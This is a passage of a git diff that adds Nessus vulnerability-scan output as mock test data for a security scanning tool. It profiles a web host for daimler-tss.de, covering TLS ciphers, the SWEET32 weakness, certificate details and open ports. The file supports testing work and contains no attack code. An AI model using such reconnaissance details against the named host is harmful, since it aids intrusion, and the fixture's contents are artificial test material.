www.example.org +Pragma: no-cache +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* +Accept-Language: en +Accept-Charset: iso-8859-1,*,utf-8 + +------------------------------ snip ------------------------------ + + + +Hostnames different from the current hostname have been collected by miscellaneous plugins. Nessus has generated a list of hostnames that point to the remote host. Note that these are only the alternate hostnames for vhosts discovered on a web server. + +Different web servers may be hosted on name-based virtual hosts. +alternate_hostnames.nasl +2017/04/27 +Additional DNS Hostnames +2010/04/29 +remote +None +1.12 +https://en.wikipedia.org/wiki/Virtual_hosting +If you want to test them, re-scan using the special vhost syntax, such as : + +www.example.com[192.0.32.10] +Nessus has detected potential virtual hosts. +The following hostnames point to the remote host : + - www.daimler-tss.mobi + - daimler-tss.de + - www.daimler-tss.de + - example.org + - daimler-tss.mobi + + + +This plugin attempts to determine the type and the version of the remote web server. +http_version.nasl +2016/02/19 +HTTP Server Type and Version +2000/01/04 +remote +None +$Revision: 1.123 $ +n/a +A web server is running on the remote host. +The remote web server type is : + +Coyote HTTP/1.1 Connector + + +This plugin attempts to determine the type and the version of the remote web server. +http_version.nasl +2016/02/19 +HTTP Server Type and Version +2000/01/04 +remote +None +$Revision: 1.123 $ +n/a +A web server is running on the remote host. +The remote web server type is : + +Apache +and the 'ServerTokens' directive is ProductOnly +Apache does not offer a way to hide the server type. + + + +This plugin attempts to determine the type and the version of the remote web server. +http_version.nasl +2016/02/19 +HTTP Server Type and Version +2000/01/04 +remote +None +$Revision: 1.123 $ +n/a +A web server is running on the remote host. +The remote web server type is : + +Apache +and the 'ServerTokens' directive is ProductOnly +Apache does not offer a way to hide the server type. + + + +The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised. +ssl_pfs_supported_ciphers.nasl +2017/06/12 +SSL Perfect Forward Secrecy Cipher Suites Supported +2011/12/07 +remote +None +$Revision: 1.8 $ +http://www.openssl.org/docs/apps/ciphers.html +https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange +https://en.wikipedia.org/wiki/Perfect_forward_secrecy +n/a +The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen. + +Here is the list of SSL PFS ciphers supported by the remote server : + + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-GCM(128) Mac=SHA256 + DHE-RSA-AES256-SHA384 Kx=DH Au=RSA Enc=AES-GCM(256) Mac=SHA384 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-GCM(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-GCM(256) Mac=SHA384 + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + DHE-RSA-AES256-SHA256 Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA256 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA384 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly. +ssl_cbc_supported_ciphers.nasl +2013/10/22 +SSL Cipher Block Chaining Cipher Suites Supported +2013/10/22 +remote +None +$Revision: 1.1 $ +http://www.openssl.org/docs/apps/ciphers.html +http://www.nessus.org/u?cc4a822a +http://www.openssl.org/~bodo/tls-cbc.txt +n/a +The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones. + +Here is the list of SSL CBC ciphers supported by the remote server : + + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + AES128-SHA Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA1 + AES256-SHA Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA1 + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + DHE-RSA-AES256-SHA256 Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA256 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA384 + RSA-AES128-SHA256 Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA256 + RSA-AES256-SHA256 Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA256 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N +5.0 +CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N +The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite. + +Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network. +ssl_medium_supported_ciphers.nasl +2017/09/01 +SSL Medium Strength Cipher Suites Supported +2009/11/23 +remote +Medium +$Revision: 1.19 $ +https://www.openssl.org/blog/blog/2016/08/24/sweet32/ +Reconfigure the affected application if possible to avoid use of medium strength ciphers. +The remote service supports the use of medium strength SSL ciphers. + +Here is the list of medium strength SSL ciphers supported by the remote server : + + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +92630 +92631 +CVE-2016-2183 +CVE-2016-6329 +CVSS:3.0/E:F/RL:X/RC:X +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N +5.0 +4.8 +CVSS2#E:F/RL:ND/RC:ND +CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N +The remote host supports the use of a block cipher with 64-bit blocks in one or more cipher suites. It is, therefore, affected by a vulnerability, known as SWEET32, due to the use of weak 64-bit block ciphers. A man-in-the-middle attacker who has sufficient resources can exploit this vulnerability, via a 'birthday' attack, to detect a collision that leaks the XOR between the fixed secret and a known plaintext, allowing the disclosure of the secret text, such as secure HTTPS cookies, and possibly resulting in the hijacking of an authenticated session. + +Proof-of-concepts have shown that attackers can recover authentication cookies from an HTTPS session in as little as 30 hours. + +Note that the ability to send a large number of requests over the same TLS connection between the client and server is an important requirement for carrying out this attack. If the number of requests allowed for a single connection were limited, this would mitigate the vulnerability. However, Nessus has not checked for such a mitigation. +true +Exploits are available +ssl_64bitblock_supported_ciphers.nasl +true +143387 +143388 +2017/01/24 +SSL 64-bit Block Size Cipher Suites Supported (SWEET32) +2016/11/01 +remote +Medium +$Revision: 1.6 $ +https://sweet32.info +https://www.openssl.org/blog/blog/2016/08/24/sweet32/ +Reconfigure the affected application, if possible, to avoid use of all 64-bit block ciphers. Alternatively, place limitations on the number of requests that are allowed to be processed over the same TLS connection to mitigate this vulnerability. +The remote service supports the use of 64-bit block ciphers. +2016/08/24 +OSVDB:143387 +OSVDB:143388 + +List of 64-bit block cipher suites supported by the remote server : + + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.1 and 1.2 are designed against these flaws and should be used whenever possible. + +PCI DSS v3.1 requires that TLS 1.0 be disabled entirely by June 2018, except for point-of-sale terminals and their termination points. +tls10_detection.nasl +2017/11/22 +TLS Version 1.0 Protocol Detection +2017/11/22 +remote +None +$Revision: 1.1 $ +Enable support for TLS 1.1 and 1.2, and disable support for TLS 1.0. +The remote service encrypts traffic using an older version of TLS. +TLSv1 is enabled and the server supports at least one cipher. + + +This plugin detects which SSL ciphers are supported by the remote service for encrypting communications. +ssl_supported_ciphers.nasl +2017/11/13 +SSL Cipher Suites Supported +2006/06/05 +remote +None +1.53 +https://www.openssl.org/docs/man1.1.0/apps/ciphers.html +http://www.nessus.org/u?3a040ada +n/a +The remote service encrypts communications using SSL. + +Here is the list of SSL ciphers supported by the remote server : +Each group is reported per SSL Version. + +SSL Version : TLSv12 + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-GCM(128) Mac=SHA256 + DHE-RSA-AES256-SHA384 Kx=DH Au=RSA Enc=AES-GCM(256) Mac=SHA384 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-GCM(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-GCM(256) Mac=SHA384 + RSA-AES128-SHA256 Kx=RSA Au=RSA Enc=AES-GCM(128) Mac=SHA256 + RSA-AES256-SHA384 Kx=RSA Au=RSA Enc=AES-GCM(256) Mac=SHA384 + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + AES128-SHA Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA1 + AES256-SHA Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA1 + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + DHE-RSA-AES256-SHA256 Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA256 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA384 + RSA-AES128-SHA256 Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA256 + RSA-AES256-SHA256 Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA256 + + +SSL Version : TLSv11 + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + AES128-SHA Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA1 + AES256-SHA Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA1 + + +SSL Version : TLSv1 + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + AES128-SHA Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA1 + AES256-SHA Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA1 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +The remote web server is configured such that it does not return '404 Not Found' error codes when a nonexistent file is requested, perhaps returning instead a site map, search page or authentication page. + +Nessus has enabled some counter measures for this. However, they might be insufficient. If a great number of security holes are produced for this port, they might not all be accurate. +no404.nasl +2015/10/13 +Web Server No 404 Error Code Check +2000/04/28 +remote +None +$Revision: 1.98 $ +n/a +The remote web server does not return 404 error codes. + + +CGI scanning will be disabled for this host because the host responds +to requests for non-existent URLs with HTTP code 301 +rather than 404. The requested URL was : + + http://www.example.org/bQePO3PlPkjC.html + + + +cpe:/a:ietf:md5 +cpe:/a:ietf:x.509_certificate +The remote service uses an SSL certificate chain that contains a self-signed root Certification Authority certificate at the top of the chain. +ssl_root_ca_certificate.nasl +2016/11/14 +SSL Root Certification Authority Certificate Information +2016/11/14 +remote +None +$Revision: 1.1 $ +https://technet.microsoft.com/en-us/library/cc778623 +Ensure that use of this root Certification Authority certificate complies with your organization's acceptable use and security policies. +A root Certification Authority certificate was found at the top of the certificate chain. + +The following root Certification Authority certificate was found : + +|-Subject : C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 2008 VeriSign, Inc. - For authorized use only/CN=VeriSign Universal Root Certification Authority +|-Issuer : C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 2008 VeriSign, Inc. - For authorized use only/CN=VeriSign Universal Root Certification Authority +|-Valid From : Apr 02 00:00:00 2008 GMT +|-Valid To : Dec 01 23:59:59 2037 GMT +|-Signature Algorithm : SHA-256 With RSA Encryption + + + +This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate. +ssl_ciphers.nasl +2015/12/30 +SSL Certificate Information +2008/05/19 +remote +None +$Revision: 1.16 $ +n/a +This plugin displays the SSL certificate. +Subject Name: + +Country: DE +State/Province: Baden-Wuerttemberg +Locality: Stuttgart +Organization: Daimler AG +Organization Unit: IT/TSS +Common Name: *.daimler-tss.de + +Issuer Name: + +Country: US +Organization: Symantec Corporation +Organization Unit: Symantec Trust Network +Common Name: Symantec Class 3 Secure Server SHA256 SSL CA + +Serial Number: 1E 2D FE 91 1A 97 C4 AE 2D AB 8B 97 6E 7C 15 36 + +Version: 3 + +Signature Algorithm: SHA-256 With RSA Encryption + +Not Valid Before: Oct 30 00:00:00 2017 GMT +Not Valid After: Nov 24 23:59:59 2018 GMT + +Public Key Info: + +Algorithm: RSA Encryption +Key Length: 2048 bits +Public Key: 00 C6 A3 A1 0D 45 28 9D A1 F6 3C DC 49 5D DF 8C C0 33 12 9B + 6D DA 83 22 4B A1 9A E9 33 D2 99 88 9C 88 19 E5 80 09 AD 52 + B1 F4 48 A1 4D 35 3F 25 9B 8F E8 AE 7D 5B 97 96 D8 89 2B D4 + E2 D2 B3 7E B6 09 1D 46 0C 37 7C 87 42 E1 11 4F 7C 18 E5 EF + 8C 41 B2 FD BE C1 62 D3 BF 20 86 F1 08 D0 16 A2 DA 17 2E 3B + CA 56 3B AC CD A3 A9 20 A3 15 A5 43 97 CE B2 35 F3 8C 08 86 + 5C F4 99 16 A0 C6 E6 68 EF F8 91 34 D9 60 5D CD 44 5D C4 1E + 3E 47 15 2C 02 58 6A 5B D0 22 7F 6E 5E EC 76 67 12 44 AD E4 + E3 3C 69 57 FA 00 DD 76 8C 7F 98 3C AA 08 60 0A 7A 93 33 7B + 47 37 92 CC FB 6D B5 01 F3 27 00 04 7C E3 D5 3B B9 B3 5D 42 + C6 30 1F 73 CC 8C 20 6C 2A 91 9A C4 8C AB 0C F8 AD 2C 32 E6 + E1 44 70 9D 40 C5 AB E5 20 03 88 58 A6 E9 F9 95 8B 13 10 F7 + C7 7A 13 0C 3B 2F 28 63 9A 8D 67 B3 36 A2 9F 3C 7D +Exponent: 01 00 01 + +Signature Length: 256 bytes / 2048 bits +Signature: 00 80 4D 6F 6C 64 4B 2D AC 48 3F F0 C4 18 79 B3 C0 1D 97 64 + 95 C7 A1 8D BB 48 09 B8 F8 1A DD DA 16 18 21 9D C2 B2 FF 73 + 7E F4 C5 AF 82 99 C3 65 20 FD CA F4 6A 77 DB E0 05 2B 6D 8E + C9 EA 65 90 D4 CD AD D7 36 FC 74 2C DA 57 51 CC BE 5F FD 56 + 07 97 A6 A9 C9 43 F5 6C B5 4B 04 7C B5 77 D5 9C 2C E1 13 33 + 09 EF AA 57 55 2B 16 26 57 EA 4B 60 26 C8 80 08 4A A1 71 94 + 94 14 0D CF C7 D8 68 6E 30 8A DB A7 B4 47 BF 46 0F 4E A1 18 + 0B 63 80 BF EB 1D DB 31 C9 83 A1 6A 58 08 C8 43 E7 57 B5 3F + 3E 51 5E A3 62 36 D9 1C E3 F9 E3 E9 46 48 D9 CD CA 49 A4 C0 + D1 B4 CF C9 21 C1 CC E8 97 B7 18 AF 86 6F 72 22 D6 90 47 F5 + E6 51 87 69 21 8A 15 3E A7 3C E1 46 76 7B 95 14 96 DE 68 B4 + 15 53 A0 D7 35 D9 BD 27 AB 11 11 24 39 37 21 2B CC AA 86 B2 + 60 9E 98 9F EE D1 A4 CB 5C 9C 44 4E 0D 8C CD 20 19 + +Extension: Subject Alternative Name (2.5.29.17) +Critical: 0 +DNS: daimler-tss.de +DNS: www.daimler-tss.de +DNS: example.org +DNS: www.example.org +DNS: daimler-tss.mobi +DNS: www.daimler-tss.mobi +DNS: *.daimler-tss.de + + +Extension: Basic Constraints (2.5.29.19) +Critical: 0 + + +Extension: Key Usage (2.5.29.15) +Critical: 1 +Key Usage: Digital Signature, Key Encipherment + + +Extension: Extended Key Usage (2.5.29.37) +Critical: 0 +Purpose#1: Web Server Authentication (1.3.6.1.5.5.7.3.1) +Purpose#2: Web Client Authentication (1.3.6.1.5.5.7.3.2) + + +Extension: Policies (2.5.29.32) +Critical: 0 +Policy ID #1: 2.23.140.1.2.2 +Qualifier ID #1: Certification Practice Statement (1.3.6.1.5.5.7.2.1) +CPS URI: https://d.symcb.com/cps + + +Extension: Authority Key Identifier (2.5.29.35) +Critical: 0 +Key Identifier: DB 62 20 FB 7D 02 89 7C D2 3B 6F C7 E4 32 6C 05 52 1D AD B1 + + +Extension: CRL Distribution Points (2.5.29.31) +Critical: 0 +URI: http://sg.symcb.com/sg.crl + + +Extension: Authority Information Access (1.3.6.1.5.5.7.1.1) +Critical: 0 +Method#1: Online Certificate Status Protocol +URI: http://sg.symcd.com +Method#2: Certificate Authority Issuers +URI: http://sg.symcb.com/sg.crt + + +Extension: 1.3.6.1.4.1.11129.2.4.2 +Critical: 0 +Data: 04 81 F1 00 EF 00 75 00 DD EB 1D 2B 7A 0D 4F A6 20 8B 81 AD + 81 68 70 7E 2E 8E 9D 01 D5 5C 88 8D 3D 11 C4 CD B6 EC BE CC + 00 00 01 5F 6E 5E A3 78 00 00 04 03 00 46 30 44 02 20 7C 84 + AF 78 07 FE A1 95 9C 10 B1 E0 32 AD 44 37 4C 63 38 56 C6 5D + 0D 6C 54 86 F5 D9 37 2A D4 5E 02 20 30 CD B5 60 9A A6 D4 EE + C6 A4 0D B7 B0 B2 EC 91 6A C8 AA AA A6 77 38 23 D4 C2 79 95 + E1 73 EC 89 00 76 00 A4 B9 09 90 B4 18 58 14 87 BB 13 A2 CC + 67 70 0A 3C 35 98 04 F9 1B DF B8 E3 77 CD 0E C8 0D DC 10 00 + 00 01 5F 6E 5E A3 B2 00 00 04 03 00 47 30 45 02 20 47 45 91 + 7A 9B F3 67 BA 72 57 37 B6 BA 42 50 E7 CC 83 B9 84 D6 F8 70 + C9 2B BF C3 A8 DA 76 24 69 02 21 00 D4 CB 0A 0E 5B 8D 3C 66 + 31 66 A4 C5 D5 3A B2 C5 81 7E 90 56 56 CE DD B9 1D 3E 1E 70 + AF BD 4C E8 + + +Fingerprints : + +SHA-256 Fingerprint: B7 E6 37 99 A3 35 D0 5E 0F 95 C0 7F 61 F3 36 FA 48 65 FA 73 + C0 CF F8 78 A4 EE B3 C2 B6 E3 10 86 +SHA-1 Fingerprint: A5 CA 7D 66 33 7B 1F 6E 45 53 B1 CA 30 DA 73 07 BC 4C E5 98 +MD5 Fingerprint: D3 C0 93 81 ED C2 AD 51 0B C0 1E 57 DB 20 8D 9D + + + + +The remote host supports the TLS ALPN extension. This plugin enumerates the protocols the extension supports. +alpn_protocol_enumeration.nasl +2016/02/15 +TLS ALPN Supported Protocol Enumeration +2015/07/17 +remote +None +1.3 +https://tools.ietf.org/html/rfc7301 +n/a +The remote host supports the TLS ALPN extension. + +ALPN Supported Protocols: + + http/1.1 + + + +cpe:/a:openssl:openssl +Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic. + +Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366). +openssl_detect.nasl +2013/10/18 +OpenSSL Detection +2010/11/30 +remote +None +1.14 +http://www.openssl.org +n/a +The remote service appears to use OpenSSL to encrypt traffic. + + +This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications. +ssl_supported_versions.nasl +2017/11/06 +SSL / TLS Versions Supported +2011/12/01 +remote +None +1.21 +n/a +The remote service encrypts communications. + +This port supports TLSv1.0/TLSv1.1/TLSv1.2. + + + +Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request. +find_service.nasl +2017/07/07 +Service Detection +2007/08/19 +remote +None +$Revision: 1.159 $ +n/a +The remote service could be identified. +A web server is running on this port. + + +Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request. +find_service.nasl +2017/07/07 +Service Detection +2007/08/19 +remote +None +$Revision: 1.159 $ +n/a +The remote service could be identified. +A web server is running on this port through TLSv1. + + +Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request. +find_service.nasl +2017/07/07 +Service Detection +2007/08/19 +remote +None +$Revision: 1.159 $ +n/a +The remote service could be identified. +A web server is running on this port. + + +Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request. +find_service.nasl +2017/07/07 +Service Detection +2007/08/19 +remote +None +$Revision: 1.159 $ +n/a +The remote service could be identified. +A TLSv1 server answered on this port. + + + +Nessus was able to resolve the fully qualified domain name (FQDN) of the remote host. +fqdn.nasl +2017/04/14 +Host Fully Qualified Domain Name (FQDN) Resolution +2004/02/11 +remote +None +$Revision: 1.16 $ +n/a +It was possible to resolve the name of the remote host. + +145.253.152.108 resolves as www.example.org. + + + +CVE-1999-0524 +200 +The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols. + +Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time. +icmp_timestamp.nasl +94 +2012/06/18 +ICMP Timestamp Request Remote Date Disclosure +1999/08/01 +remote +None +$Revision: 1.45 $ +Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14). +It is possible to determine the exact time set on the remote host. +1995/01/01 +OSVDB:94 +CWE:200 +The remote clock is synchronized with the local clock. + + + +Makes a traceroute to the remote host. +traceroute.nasl +2017/08/22 +Traceroute Information +1999/11/27 +remote +None +1.63 +n/a +It was possible to obtain traceroute information. +For your information, here is the traceroute from 12.34.14.16 to 145.253.152.108 : +12.34.14.16 +12.34.14.1 +? +145.253.152.108 + +Hop Count: 3 + + + +The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed. +tcp_timestamps.nasl +2011/03/20 +TCP/IP Timestamps Supported +2007/05/16 +remote +None +1.19 +http://www.ietf.org/rfc/rfc1323.txt +n/a +The remote service implements TCP timestamps. + + +This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target. + +Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded. +nessus_syn_scanner.nbin +2017/05/22 +Nessus SYN scanner +2009/02/04 +remote +None +$Revision: 1.24 $ +Protect your target with an IP filter. +It is possible to determine which TCP ports are open. +Port 8080/tcp was found to be open + + +This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target. + +Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded. +nessus_syn_scanner.nbin +2017/05/22 +Nessus SYN scanner +2009/02/04 +remote +None +$Revision: 1.24 $ +Protect your target with an IP filter. +It is possible to determine which TCP ports are open. +Port 80/tcp was found to be open + + +This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target. + +Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded. +nessus_syn_scanner.nbin +2017/05/22 +Nessus SYN scanner +2009/02/04 +remote +None +$Revision: 1.24 $ +Protect your target with an IP filter. +It is possible to determine which TCP ports are open. +Port 443/tcp was found to be open + + + + diff --git a/sechub-other/mockdata/nessus-mockdata-green.xml b/sechub-other/mockdata/nessus-mockdata-green.xml new file mode 100644 index 0000000000..1c5844a90c --- /dev/null +++ b/sechub-other/mockdata/nessus-mockdata-green.xml @@ -0,0 +1,5097 @@ + + +DASPI +service_detection.search_for_ssl +yes + +plugin_set +99304;80304;20067;101840;20870;58411;74090;77682;63001;73673;36153;32133;85689;66586;20066;64490;58989;51169;11828;200048;56689;79865;76254;102496;11789;42354;79216;52013;88842;10296;20131;87941;93121;82769;19237;19694;94139;94327;24755;11536;11227;79803;72543;73184;11745;64581;87506;96800;81053;10085;66812;11617;25005;88098;77530;64993;95771;76163;10602;66428;50071;32122;85406;76147;87921;72279;42116;47594;68881;11975;52980;11864;49120;73573;43030;90443;100635;11542;95916;95764;59569;74326;69303;49964;56062;10495;64831;10918;65575;64786;77089;10322;63097;31131;10756;34157;11184;76573;100870;92786;99286;10269;84219;72107;86070;73484;100259;56652;97946;83265;89665;85321;17776;83467;21571;91992;64834;12098;55701;72772;73347;23637;18123;72774;13855;72064;19945;20960;13751;72665;23938;99969;11635;27534;35435;76868;66848;49009;11335;14591;62908;25768;81374;11729;71155;85876;31799;83356;77905;33218;19193;14344;47163;81700;12264;47583;62803;77632;91232;44047;72557;16086;70294;19771;22194;23646;45403;51175;73417;10896;87820;72935;82039;89109;35362;42800;83348;18566;69131;18302;12249;102996;5